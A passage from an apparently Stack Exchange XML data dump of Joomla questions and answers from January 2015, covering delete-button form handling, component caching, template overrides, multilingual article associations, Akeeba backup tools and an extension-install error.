onclick=&quot;Joomla.isChecked(this.checked);&quot; title=&quot;Πλαίσιο ελέγχου για τη σειρά 16&quot; type=&quot;checkbox&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried also to pass the cid[] somehow with the delete button like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$bar-&amp;gt;appendButton( 'Link', 'delete', 'Διαγραφή συγκεκριμένων ψήφων', 'index.php?option=com_exnetpolls&amp;amp;deleteit='.$isnotempty.'&amp;amp;gotcha=yo&amp;amp;cid[] ');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesnt work.Could a joomla specialist enlight me please on what am i doing wrong here ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: forgot to mention that i would like to check before pressing the DELETE button if &lt;code&gt;cid[]==NULL&lt;/code&gt; so i can change the value of &lt;code&gt;$isnotempty&lt;/code&gt; . when i var_dump the  &lt;code&gt;$cid = JRequest::getVar('cid',array(),'','array');&lt;/code&gt; in the file that i create the input, i get again a null array.&lt;/p&gt;&#xA;" OwnerUserId="2225" LastEditorUserId="2225" LastEditDate="2015-01-14T12:56:09.077" LastActivityDate="2015-01-14T14:13:15.280" Title="Backend Delete button, doest parse the cid[] array that contains the id of checked, checkboxes" Tags="|joomla-2.5|component|development|mvc|form-fields-types|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7000" PostTypeId="2" ParentId="5781" CreationDate="2015-01-14T12:57:50.253" Score="10" Body="&lt;p&gt;So far Google-searches make me presume that &lt;strong&gt;joomla caches your component automatically if you add &lt;code&gt;display(true,...)&lt;/code&gt; to your controller's display method&lt;/strong&gt; as in following example. &lt;br&gt;The example also includes some measurement code to check if it's working (JProfiler part).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display($cachable = false, $urlparams = array()) {&#xA;    $profiler = new JProfiler();//debug&#xA;&#xA;    //Joomla cache only takes format, option, view, layout, tpl, language en id als default cache_id ($urlparams)&#xA;    $input  = new Jinput;&#xA;    $urlparams['comp_page_specific_id']=$input-&amp;gt;getUInt('comp_specific_id');&#xA;    $urlparams['comp_page_specific_else']=$input-&amp;gt;getUInt('comp_page_specific_else');&#xA;&#xA;    parent::display(true, $urlparams);&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage($profiler-&amp;gt;mark( ' seconds with caching&amp;lt;br&amp;gt;Only works after someone has visited this page at least once.&amp;lt;br&amp;gt;Can be reset in backend.' ));//debug&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You have to &lt;strong&gt;manually set the &lt;code&gt;$urlparams&lt;/code&gt;&lt;/strong&gt; which define which component views need a different cache (&lt;strong&gt;urlparams = cache_id&lt;/strong&gt; so to speak). And Joomla already takes care of common parameters such as format, option, view, layout, tpl, language en id.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also be aware that &lt;strong&gt;no updates&lt;/strong&gt; will be done in your component. If you have a hit counter in your model, the &lt;strong&gt;number of hits will stay constant&lt;/strong&gt; when a cached view is shown.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;*Extra info: In joomla library's controller, it's the following line that calls the view cache and at the same time sets the cache if it wasn't yet:&#xA;&lt;br&gt;    &lt;code&gt;$cache-&amp;gt;get($view, 'display');  //689: legacy controller&lt;/code&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(&lt;strong&gt;EDIT&lt;/strong&gt; 2015-01-14: Added urlparams)&lt;/em&gt;&lt;br&gt;&#xA;&lt;em&gt;(&lt;strong&gt;EDIT&lt;/strong&gt; 2015-01-15: Added code extra info)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3486" LastEditorUserId="3486" LastEditDate="2015-01-15T13:24:40.317" LastActivityDate="2015-01-15T13:24:40.317" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7001" PostTypeId="2" ParentId="6999" CreationDate="2015-01-14T14:13:15.280" Score="1" Body="&lt;p&gt;Based on our comments I would suggest that your delete button invokes only GET action. That means all input fields are not processed. Try to use normal &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; with &lt;code&gt;action=&quot;post&quot;&lt;/code&gt; like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_exnetpolls&amp;amp;deleteit='.$isnotempty.'&amp;amp;gotcha=yo'); ?&amp;gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-01-14T14:13:15.280" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7003" PostTypeId="1" CreationDate="2015-01-14T16:40:12.080" Score="1" ViewCount="245" Body="&lt;p&gt;Repeatable Fields seem to work OK in my Module (Joomla 3.3.6)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the repeatable fields is an image ref.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried to use 'media' field type here but I guess a modal inside a modal is a nono!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way around this ?&lt;/p&gt;&#xA;" OwnerUserId="3487" LastActivityDate="2015-11-13T11:34:46.867" Title="Using Repeatable Field in Module Development + Media Field" Tags="|development|module|joomla-3.3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7004" PostTypeId="1" CreationDate="2015-01-15T09:38:16.107" Score="1" ViewCount="268" Body="&lt;p&gt;I would like to know if it is possible to add a poster to my video like the HTML5 video &lt;code&gt;poster&lt;/code&gt; tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im using Joomla 2.5 and using integrated video on articles. It seems to be using JWPlayer to play videos but couldn't find any reference how to allow using posters.&lt;/p&gt;&#xA;" OwnerUserId="3371" LastActivityDate="2015-01-15T18:23:59.000" Title="Joomla Video JWPlayer" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7006" PostTypeId="1" AcceptedAnswerId="7007" CreationDate="2015-01-15T11:37:23.940" Score="7" ViewCount="328" Body="&lt;p&gt;I want to be able to assign a color code to seperate articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such that the border or background of an article changes color, like;&#xA;Article A = Purple Border&#xA;Article B = Green Border&#xA;Article C = Red Border&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My own idea is to make an alternative layout, and use one of publishing fields to insert&#xA;the color code and pull the color in the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's important that I can use the color in both article layout, but also article category layout, so I color each article link, it's assigned color.&lt;/p&gt;&#xA;" OwnerUserId="3478" LastActivityDate="2015-01-15T12:11:44.540" Title="Is it possible to assign a color to a single article" Tags="|joomla-3.x|layout|module-style|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7007" PostTypeId="2" ParentId="7006" CreationDate="2015-01-15T11:59:31.887" Score="4" Body="&lt;p&gt;You will need to create a Template Override for the article and category views.&lt;/p&gt;&#xA;&lt;p&gt;This may not be a preferred method, however it's what I would personally do.&lt;/p&gt;&#xA;&lt;h3&gt;Category view:&lt;/h3&gt;&#xA;&lt;p&gt;So once you have created your overrides for both views, in the category view, add the category ID as a class to the element for the title. For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;id_&amp;lt;?php echo $item-&amp;gt;id; ?&amp;gt;&amp;quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;The category title will be here&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which will result in the following markup&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;id_2&amp;quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;Category title&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Article view:&lt;/h3&gt;&#xA;&lt;p&gt;Now in your article view, use something similar in your override as shown below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;id_&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;catid; ?&amp;gt;&amp;quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;The article title will be here&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which will result in the following markup&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;id_2&amp;quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;Article title&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;You can then target each class, in this case &lt;code&gt;id_2&lt;/code&gt; in your CSS file like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.id_2 {&#xA;    border: 1px solid #F00;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-01-15T12:11:44.540" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7009" PostTypeId="1" CreationDate="2015-01-15T15:04:27.757" Score="0" ViewCount="255" Body="&lt;p&gt;My joomla comes from 1.7 version to 3.3.6 and in my project I using AnimalBusiness-TG template that uses the aidanews module on home. By now, this module appear blank and no error message its showed. My phoca gallery appears blank too and I dont know what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3494" LastActivityDate="2015-01-15T17:07:30.510" Title="How to adapt an old template with aidanews module to work in Joomla 3.3.6" Tags="|module|" AnswerCount="2" CommentCount="0" ClosedDate="2015-01-15T18:34:05.070" ContentLicense="CC BY-SA 3.0" />
  <row Id="7010" PostTypeId="2" ParentId="7009" CreationDate="2015-01-15T15:08:20.253" Score="1" Body="&lt;p&gt;The thing you have to realise is that the difference between Joomla 1.7 and 3.3.x is extremely drastic, therefore there will be a lot of extension that will stop working. What you need to do is, go to the developer site for all 3rd party extensions you're using and install the Joomla 3.x compatible versions for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest you do the same for your template too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all you can do. There's nothing e can do here to help you (code wise) to get your extensions working&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-01-15T15:08:20.253" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7011" PostTypeId="2" ParentId="7009" CreationDate="2015-01-15T17:07:30.510" Score="0" Body="&lt;p&gt;I solved my problem typing a function in the &lt;code&gt;Class JDate&lt;/code&gt; assigned like &lt;code&gt;toMySQL($local = false)&lt;/code&gt;. It just returns the &lt;code&gt;__toString()&lt;/code&gt; result!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function was in the old version of Joomla and this 3rd party module needs it.&lt;/p&gt;&#xA;" OwnerUserId="3494" LastActivityDate="2015-01-15T17:07:30.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7012" PostTypeId="2" ParentId="7004" CreationDate="2015-01-15T17:39:00.207" Score="2" Body="&lt;p&gt;Posters (and most settings) for JW Player are HIGHLY dependant on the version of the player, and the method with which you are using it.  I've spent literally hundreds of hours working with it, and still need to check with their forums when I need to tinker.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably not the answer you'd like, but a starting point might be at this &lt;a href=&quot;http://support.jwplayer.com/customer/portal/questions/6062462-no-poster-image&quot; rel=&quot;nofollow&quot;&gt;Poster Image&lt;/a&gt; question on their support forum..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use playlists for all our videos, regardless of how many videos are actually being played, and here's a sample playlist XML that we use.  Again, it &lt;em&gt;all depends on how you are using JWPlayer&lt;/em&gt;, but this might get you started.&#xA;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;rss version=&quot;2.0&quot; xmlns:media=&quot;http://search.yahoo.com/mrss/&quot; xmlns:jwplayer=&quot;http://developer.longtailvideo.com/trac/&quot;&amp;gt;&#xA;  &amp;lt;channel&amp;gt;&#xA;    &amp;lt;title&amp;gt;Sample Bitrate Switching Playlist&amp;lt;/title&amp;gt;&#xA;    &amp;lt;description&amp;gt;Description of your video.&amp;lt;/description&amp;gt;&#xA;    &amp;lt;item&amp;gt;&#xA;      &amp;lt;title&amp;gt;My Video Title&amp;lt;/title&amp;gt;&#xA;      &amp;lt;description&amp;gt;Description of this playlist item&amp;lt;/description&amp;gt;&#xA;      &amp;lt;media:group&amp;gt;&#xA;        &amp;lt;media:content bitrate=&quot;2400&quot; width=&quot;1000&quot; url=&quot;yourvideo_1500.mp4&quot;/&amp;gt;&#xA;        &amp;lt;media:content bitrate=&quot;800&quot; width=&quot;640&quot; url=&quot;yourvideo_900.mp4&quot;/&amp;gt;&#xA;        &amp;lt;media:content bitrate=&quot;400&quot; width=&quot;320&quot; url=&quot;yourvideo_425.mp4&quot;/&amp;gt;&#xA;        &amp;lt;media:thumbnail type=&quot;image/png&quot; url=&quot;http://www.yoursite.cm/yourposter.png&quot;/&amp;gt;&#xA;      &amp;lt;/media:group&amp;gt;&#xA;&#xA;      &amp;lt;jwplayer:provider&amp;gt;rtmp&amp;lt;/jwplayer:provider&amp;gt;&#xA;      &amp;lt;jwplayer:streamer&amp;gt;rtmp://rmpt.ourstreamingserver.com/wowza&amp;lt;/jwplayer:streamer&amp;gt;&#xA;      &amp;lt;jwplayer:type&amp;gt;rtmp&amp;lt;/jwplayer:type&amp;gt;&#xA;    &amp;lt;/item&amp;gt;&#xA;  &amp;lt;/channel&amp;gt;&#xA;&amp;lt;/rss&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2015-01-15T18:23:59.000" LastActivityDate="2015-01-15T18:23:59.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7013" PostTypeId="1" CreationDate="2015-01-16T01:47:53.067" Score="1" ViewCount="64" Body="&lt;p&gt;A website we are developing is based on the Community Board platform. We are unable to place a slideshow alongside a fixed photo because CB does not allow its placement there and have the website remain responsive. This is a serious constraint because the photo and slideshow alongside one another is critical for the purpose of the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a more flexible platform than CB?&lt;/p&gt;&#xA;" OwnerUserId="3497" LastEditorUserId="64" LastEditDate="2015-01-17T17:56:54.487" LastActivityDate="2015-01-17T17:56:54.487" Title="Is there a more versatile Social component than Community Builder?" Tags="|templates|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7014" PostTypeId="2" ParentId="6988" CreationDate="2015-01-16T08:11:02.213" Score="2" Body="&lt;p&gt;Since you are getting data from your call and it's an' array you can do a simple (Working out from the idea that you are working on a developer server / system)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;pre&amp;gt;';&#xA;print_r($test);&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will show you what data you are getting out and you can then check whether it contains your needed data (Which it should.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use a simple foreach loop to get what you want&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($test as $val){&#xA;   //Store in another array or do what ever you want with the values&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(And if you want the name of the repeated field aswell)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($test as $key =&amp;gt; $val){&#xA;       //Store in another array or do what ever you want with the values&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, you should be able to do a simple $test['field'] like a normal array value. Keep in mind you might need to dig a little into the array either by an' additional foreach or making your first foreach start at the secondary array if needed.&lt;/p&gt;&#xA;" OwnerUserId="2179" LastActivityDate="2015-01-16T08:11:02.213" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7016" PostTypeId="2" ParentId="7013" CreationDate="2015-01-16T11:03:38.907" Score="1" Body="&lt;p&gt;Besides &lt;a href=&quot;http://extensions.joomla.org/extension/community-builder&quot; rel=&quot;nofollow&quot;&gt;Community Builder&lt;/a&gt;, you have other extensions, among them &lt;a href=&quot;http://extensions.joomla.org/extension/jomsocial&quot; rel=&quot;nofollow&quot;&gt;JomSocial&lt;/a&gt; or &lt;a href=&quot;http://extensions.joomla.org/extension/easysocial&quot; rel=&quot;nofollow&quot;&gt;EasySocial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of them provide templating features to extend the basic layout.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="159" LastEditDate="2015-01-17T16:26:45.257" LastActivityDate="2015-01-17T16:26:45.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7017" PostTypeId="1" AcceptedAnswerId="7020" CreationDate="2015-01-16T13:17:07.973" Score="7" ViewCount="1362" Body="&lt;p&gt;I have a template, where would like to print the content of an article, what is working quite nice so far, using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_content/models');&#xA;$model = JModelLegacy::getInstance('Article', 'ContentModel');&#xA;$article = $model-&amp;gt;getItem($aid);&#xA;$terms = empty($article-&amp;gt;fulltext) ? $article-&amp;gt;introtext : $article-&amp;gt;fulltext;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So basically, I have the article's id and load it, &lt;strong&gt;BUT&lt;/strong&gt; that throws an error if the current language differs from the language of the article. Unfortunately, I cannot »translate« the article ID, so I need to find a way, to get the right article based on the current language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately, there are the associations I can use for that Job (image below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lgz5d.png&quot; alt=&quot;associations view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now my Question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I load the associated Article?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;n.b.:&#xA;I already had a look at the database, and I found the associations table, but I just hope that there is already some code I could use!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Ahead!&lt;/p&gt;&#xA;" OwnerUserId="2246" LastActivityDate="2015-01-16T14:36:39.160" Title="com_content—get associated article in right language" Tags="|articles|language|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7018" PostTypeId="2" ParentId="7017" CreationDate="2015-01-16T13:35:03.380" Score="1" Body="&lt;p&gt;&lt;code&gt;components/com_content/helpers/association.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;has a class &lt;code&gt;ContentHelperAssociation&lt;/code&gt; and function &lt;code&gt;getAssociations($id = 0, $view = null)&lt;/code&gt; you could probably use.&lt;/p&gt;&#xA;" OwnerUserId="3464" LastEditorUserId="1629" LastEditDate="2015-01-16T14:36:39.160" LastActivityDate="2015-01-16T14:36:39.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7019" PostTypeId="2" ParentId="466" CreationDate="2015-01-16T13:50:56.313" Score="2" Body="&lt;p&gt;It will depend on which module it is, and how it is rendered. I had this problem with the search module in Joomla 3.3. I hid the title in the backend, but it was still displaying in the front end. I had to do an &quot;output override&quot; to be able to hide the title. I copied the files in &lt;code&gt;modules/mod_search/tmpl&lt;/code&gt; to my template (e.g. &lt;code&gt;templates/mytemplate/html/mod_search&lt;/code&gt;) and then added code to respect the value of &lt;code&gt;showtitle&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($module-&amp;gt;showtitle==&quot;0&quot;)&#xA;  $output = &quot;&quot;; &#xA;else&#xA;  $output = '&amp;lt;label for=&quot;mod-search-searchword&quot; class=&quot;element-invisible&quot;&amp;gt;' . $label . '&amp;lt;/label&amp;gt; ';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why this is not the case in the core version is beyond me, but I suppose, since it's open source, I could change it myself ...&lt;/p&gt;&#xA;" OwnerUserId="3499" LastEditorUserId="1629" LastEditDate="2015-01-16T14:11:08.897" LastActivityDate="2015-01-16T14:11:08.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7020" PostTypeId="2" ParentId="7017" CreationDate="2015-01-16T14:09:16.920" Score="7" Body="&lt;p&gt;You can use &lt;code&gt;JLanguageAssociations::getAssociations&lt;/code&gt;. &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JLanguageAssociations.html&quot;&gt;This function&lt;/a&gt; will return an array containing associated items. You can also check if if the language filter Items Associations parameter is enabled using &lt;code&gt;JLanguageAssociations::isEnabled();&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example from &lt;code&gt;ROOT/administrator/components/com_content/models/article.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Load associated content items&#xA;$app = JFactory::getApplication();&#xA;$assoc = JLanguageAssociations::isEnabled();&#xA;&#xA;if ($assoc)&#xA;{&#xA;    $item-&amp;gt;associations = array();&#xA;&#xA;    if ($item-&amp;gt;id != null)&#xA;    {&#xA;        $associations = JLanguageAssociations::getAssociations('com_content', '#__content', 'com_content.item', $item-&amp;gt;id);&#xA;&#xA;        foreach ($associations as $tag =&amp;gt; $association)&#xA;        {&#xA;            $item-&amp;gt;associations[$tag] = $association-&amp;gt;id;&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;return $item;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Resources&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JLanguageAssociations.html&quot;&gt;https://api.joomla.org/cms-3/classes/JLanguageAssociations.html&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://asikart.com/docs/japi31/Joomla-Libraries/Language/JLanguageAssociations.html&quot;&gt;http://asikart.com/docs/japi31/Joomla-Libraries/Language/JLanguageAssociations.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-01-16T14:09:16.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7021" PostTypeId="2" ParentId="6998" CreationDate="2015-01-16T15:44:22.383" Score="0" Body="&lt;p&gt;Please refer to this page &lt;a href=&quot;https://docs.joomla.org/List_form_field_type&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/List_form_field_type&lt;/a&gt; and specifically this sentence:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;value (mandatory) is the value that will be saved for the field if this item is selected.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Try adding a value to your first option, perhaps '0'.&lt;/p&gt;&#xA;" OwnerUserId="387" LastActivityDate="2015-01-16T15:44:22.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7022" PostTypeId="1" AcceptedAnswerId="7023" CreationDate="2015-01-16T20:18:14.027" Score="2" ViewCount="191" Body="&lt;p&gt;They both perform the same task of backing up a website ( or just files essentially ). Are there any important considerations that would suggest it is better to use the &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-backup.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Backup&lt;/a&gt; extension or just the &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-kickstart.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Kickstart&lt;/a&gt;? The respective product information pages show they would both do, at a high level, the same thing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just intend to zip the website ( and database ) to file so that I can keep a copy. If either of these utilities would do then that would be the answer. Looks like they have different features like Backup supports cloud backup. At the core are they still the same? I have seen both recommended here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Primarily I'm not seeking opinions but facts that might drive the decision one way or the other. &lt;/p&gt;&#xA;" OwnerUserId="1811" LastEditorUserId="120" LastEditDate="2015-01-17T23:22:30.723" LastActivityDate="2015-01-17T23:25:50.470" Title="Akeeba Backup vs. Akeeba Kickstart" Tags="|joomla-3.x|akeebabackup|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7023" PostTypeId="2" ParentId="7022" CreationDate="2015-01-16T21:10:35.603" Score="4" Body="&lt;p&gt;Akeeba backup is used to &lt;code&gt;create backups&lt;/code&gt; of your site. You can create backups as ZIP, JPA or JPS files. This means you can make a copy of your site-articles, configurations, database etc and store it in one convenient file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Akeeba Kickstart is used to &lt;code&gt;**restore** the backup file&lt;/code&gt; you created using Akeeba backup. By restore I mean you use the backup file to recreate your website. You don't have to use Akeeba Kickstart to restore- it is just one method of restoring your backup file. &lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="120" LastEditDate="2015-01-17T23:25:09.200" LastActivityDate="2015-01-17T23:25:09.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7024" PostTypeId="2" ParentId="7022" CreationDate="2015-01-16T21:11:03.307" Score="4" Body="&lt;p&gt;No. &lt;strong&gt;They are not the same.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Akeeba Backup&lt;/em&gt; is the main extension to create a backups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you restore a backup, you have to copy &lt;em&gt;Akeeba Kickstart&lt;/em&gt; script and the backuped file to restore the whole site.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="120" LastEditDate="2015-01-17T23:25:50.470" LastActivityDate="2015-01-17T23:25:50.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7026" PostTypeId="1" CreationDate="2015-01-17T03:52:06.973" Score="4" ViewCount="11453" Body="&lt;p&gt;Previous title: &lt;em&gt;Can't install extensions: Error: Archive does not exist&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I removed and reinstalled Joomla 3.3.6 on my CentOS 6.5 server. Wanted to install some backup utilities and a CCK. However i'm stuck trying to install extensions getting errors like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;Archive does not exist&#xA;&#xA;Warning&#xA;JFolder: :files: Path is not a folder. Path: /var/www/html/jrt/install_54b9d8947a105&#xA;JFolder: :folder: Path is not a folder. Path: /var/www/html/jrt/install_54b9d8947a105&#xA;JFolder: :files: Path is not a folder. Path: /var/www/html/jrt/install_54b9d8947a105&#xA;JInstaller: :Install: Cannot find Joomla XML setup file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This screams permission error but this is the permission on the jrt(tmp) folder&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;drwxr-xr-x.  2 root root  4096 Jan 16 22:32 jrt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Most of the suggestions for this are to set it to 777 but I should think that to be a bad practice and it does not work anyway. I am used to NTFS permissions and I think I need to set the permissions on the children of this folder but its contents are empty to there is nothing to change?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen this sad story a few times on the web and its path or permissions related. I know the path exists as if I delete the folder I also get the error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFolder: :folder: Path is not a folder. Path: /var/www/html/jrt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know if there is more to testing this but PHP Handler also came up in research and since I did update PHP so that I could run this version of Joomla perhaps it is also a culprit. To test I created a small php file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   print &quot;hello world&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To see if it would display &quot;hello world&quot; which indeed it did. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP ini&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An answer asked me to change to PHP.ini settings. Here is what I changed from the defaults. Making changes here does not rectify the errors. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;upload_max_filesize = 10M&#xA;post_max_size = 